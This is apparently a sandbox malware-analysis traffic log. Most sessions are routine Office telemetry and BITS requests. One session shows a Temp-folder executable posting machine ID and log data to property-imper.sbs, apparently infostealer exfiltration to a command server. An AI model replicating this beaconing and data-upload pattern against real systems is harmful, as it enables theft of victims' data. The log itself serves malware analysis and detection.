2024-11-23 10:22:52 UTC	1015	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 10:22:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=84sm4jfvc66fto3eb1iu1k1e8q; expires=Wed, 19-Mar-2025 04:09:31 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=XFM3kHLW6nvx4lZaDMhgL%2BYB0aOsL9gcYSaKOtk3EfBohll7YeYIjCL%2BkjzeR%2FKkTz3ub3nLdV5QEthOgNlC1mrmMbqNHNpJvyMVLj%2BSKEPmPJGfPoskd9zChpWI01quFKvYdGQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e7070c8ecb67283-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1802&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2844&recv_bytes=990&delivery_rate=1548250&cwnd=244&unsent_bytes=0&cid=49f647ae7d9b1c3b&ts=868&x=0"
2024-11-23 10:22:52 UTC	295	IN	Data Raw: 31 32 30 0d 0a 50 4f 6c 32 49 37 4b 77 31 4e 71 4a 75 69 34 7a 7a 31 75 4d 36 63 44 42 56 50 4f 34 76 41 74 2f 2f 7a 42 57 68 4c 4a 58 72 66 68 6e 6b 6c 52 57 6b 49 72 32 73 76 33 4f 58 67 6d 54 64 4e 44 47 38 66 6c 68 33 59 71 4e 50 6c 48 4f 41 57 57 71 67 32 48 78 31 31 4f 50 45 48 2b 64 31 4c 47 38 70 39 39 57 56 75 31 33 72 6f 2b 30 34 32 37 44 6c 4a 35 75 58 63 55 42 4b 36 6a 4a 64 64 6a 61 42 73 73 65 56 38 62 41 37 6f 61 6d 35 67 45 43 39 32 36 69 32 2f 48 30 65 73 4b 4a 6a 79 56 4f 79 57 78 35 39 38 59 79 7a 4a 56 67 78 67 52 43 33 4e 53 37 74 36 66 66 56 6c 62 74 64 36 36 50 74 4f 4e 75 77 35 53 65 62 6c 33 46 41 43 75 6f 79 58 58 59 32 67 62 4c 48 6c 66 47 77 4f 36 47 70 75 59 42 41 50 35 31 75 4e 6a 75 38 32 44 48 6c 6f 30 36 49 39 42 57 50 2b Data Ascii: 120POl2I7Kw1NqJui4zz1uM6cDBVPO4vAt//zBWhLJXrfhnklRWkIr2sv3OXgmTdNDG8flh3YqNPlHOAWWqg2Hx11OPEH+d1LG8p99WVu13ro+0427DlJ5uXcUBK6jJddjaBsseV8bA7oam5gEC926i2/H0esKJjyVOyWx598YyzJVgxgRC3NS7t6ffVlbtd66PtONuw5Sebl3FACuoyXXY2gbLHlfGwO6GpuYBAP51uNju82DHlo06I9BWP+
2024-11-23 10:22:52 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.4	49891	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 10:22:52 UTC	192	OUT	GET /rules/rule701800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 10:22:52 UTC	515	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 10:22:52 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BEA414B16" x-ms-request-id: 1aa9c07b-201e-0096-3276-3bace6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T102252Z-174c587ffdfmrvb9hC1TEBtn3800000002t000000000adw1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-23 10:22:52 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 73 6f 75 72 63 65 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenResources" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
129	192.168.2.4	49897	172.67.162.84	443	5272	C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 10:22:52 UTC	282	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=O3AP4BYHD9YDJNXB3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8784 Host: property-imper.sbs
2024-11-23 10:22:52 UTC	8784	OUT	Data Raw: 2d 2d 4f 33 41 50 34 42 59 48 44 39 59 44 4a 4e 58 42 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 36 33 34 33 42 37 39 37 46 35 39 42 43 41 43 44 37 43 42 42 44 36 44 46 32 38 44 33 37 33 32 0d 0a 2d 2d 4f 33 41 50 34 42 59 48 44 39 59 44 4a 4e 58 42 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 4f 33 41 50 34 42 59 48 44 39 59 44 4a 4e 58 42 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 Data Ascii: --O3AP4BYHD9YDJNXB3Content-Disposition: form-data; name="hwid"96343B797F59BCACD7CBBD6DF28D3732--O3AP4BYHD9YDJNXB3Content-Disposition: form-data; name="pid"2--O3AP4BYHD9YDJNXB3Content-Disposition: form-data; name="lid"LOGS11--LiveTraf
2024-11-23 10:22:53 UTC	1013	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 10:22:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=4qu4jlo4l5kv8gr1ahhqcd8hp4; expires=Wed, 19-Mar-2025 04:09:32 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ciDeC1hwBA6q5Aympp1VK0PKW%2BOYFn5Hs893wTxOB7diV0q0vHr8F6rFFXikeFsuylrMq48OPLdFU%2FSlQTVH1oGO05vFVH9NCJ213Jllv2o5Ov5GttaEl9qDuZcVZsIBxE1zKM0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e7070cbfc70c440-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1487&sent=8&recv=15&lost=0&retrans=0&sent_bytes=2845&recv_bytes=9724&delivery_rate=1883870&cwnd=244&unsent_bytes=0&cid=b9ea6d874cab9007&ts=907&x=0"
2024-11-23 10:22:53 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 37 35 0d 0a Data Ascii: eok 8.46.123.75
2024-11-23 10:22:53 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.4	49898	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 10:22:53 UTC	192	OUT	GET /rules/rule701051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 10:22:54 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 10:22:53 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:47 GMT ETag: "0x8DC582BE1CC18CD" x-ms-request-id: 734d7ed2-001e-002b-08e4-3c99f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T102253Z-178bfbc474b9xljthC1NYCtw94000000049g00000000460w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 10:22:54 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRe

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.4	49899	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 10:22:53 UTC	192	OUT	GET /rules/rule701050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 10:22:54 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 10:22:54 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB256F43" x-ms-request-id: 1a99a412-f01e-0099-613c-3c9171000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T102254Z-178bfbc474bwh9gmhC1NYCy3rs00000004eg000000004bc5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 10:22:54 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 6c 65 61 73 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRelease" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.4	49903	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 10:22:54 UTC	192	OUT	GET /rules/rule702750v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 10:22:54 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 10:22:54 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE5B7B174" x-ms-request-id: 852b0afa-d01e-00a1-0e9b-3b35b1000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T102254Z-174c587ffdftv9hphC1TEBm29w00000002t0000000004278 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 10:22:54 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 75 62 6c 69 73 68 65 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702750" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPublisher" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.4	49902	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 10:22:54 UTC	192	OUT	GET /rules/rule702751v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 10:22:54 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 10:22:54 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB866CDB" x-ms-request-id: e8d3758b-d01e-0066-2757-3cea17000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T102254Z-15b8b599d8885prmhC1TEBsnkw00000002tg00000000en4v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 10:22:54 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702751" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.4	49904	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 10:22:54 UTC	192	OUT	GET /rules/rule702301v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 10:22:54 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 10:22:54 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:00 GMT ETag: "0x8DC582BE976026E" x-ms-request-id: 85bacdce-f01e-003f-758c-3ad19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T102254Z-174c587ffdfmrvb9hC1TEBtn3800000002v0000000005qwz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 10:22:54 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702301" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPr

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
135	192.168.2.4	49909	23.218.208.109	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 10:22:55 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-23 10:22:55 UTC	479	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Server: Kestrel ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-eus-z1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json X-OSID: 2 X-CID: 2 X-CCC: GB Cache-Control: public, max-age=256236 Date: Sat, 23 Nov 2024 10:22:55 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.4	49912	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 10:22:55 UTC	192	OUT	GET /rules/rule702300v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 10:22:56 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 10:22:56 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDC13EFEF" x-ms-request-id: a1d7de20-e01e-0051-6948-3c84b2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T102256Z-178bfbc474bscnbchC1NYCe7eg00000004kg00000000196d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 10:22:56 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 6a 65 63 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702300" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProject" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.4	49913	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 10:22:56 UTC	192	OUT	GET /rules/rule703401v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 10:22:56 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 10:22:56 GMT Content-Type: text/xml Content-Length: 1425 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE6BD89A1" x-ms-request-id: 95a88f05-701e-001e-7f87-3bf5e6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T102256Z-15b8b599d88hr8sfhC1TEBbca400000002t0000000001hg6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 10:22:56 UTC	1425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703401" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexus

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.4	49915	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 10:22:56 UTC	192	OUT	GET /rules/rule702501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 10:22:57 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 10:22:56 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:57 GMT ETag: "0x8DC582BE7C66E85" x-ms-request-id: d5dea27c-d01e-00ad-3c8c-3ae942000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T102256Z-174c587ffdf59vqchC1TEByk6800000002x000000000bfwv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
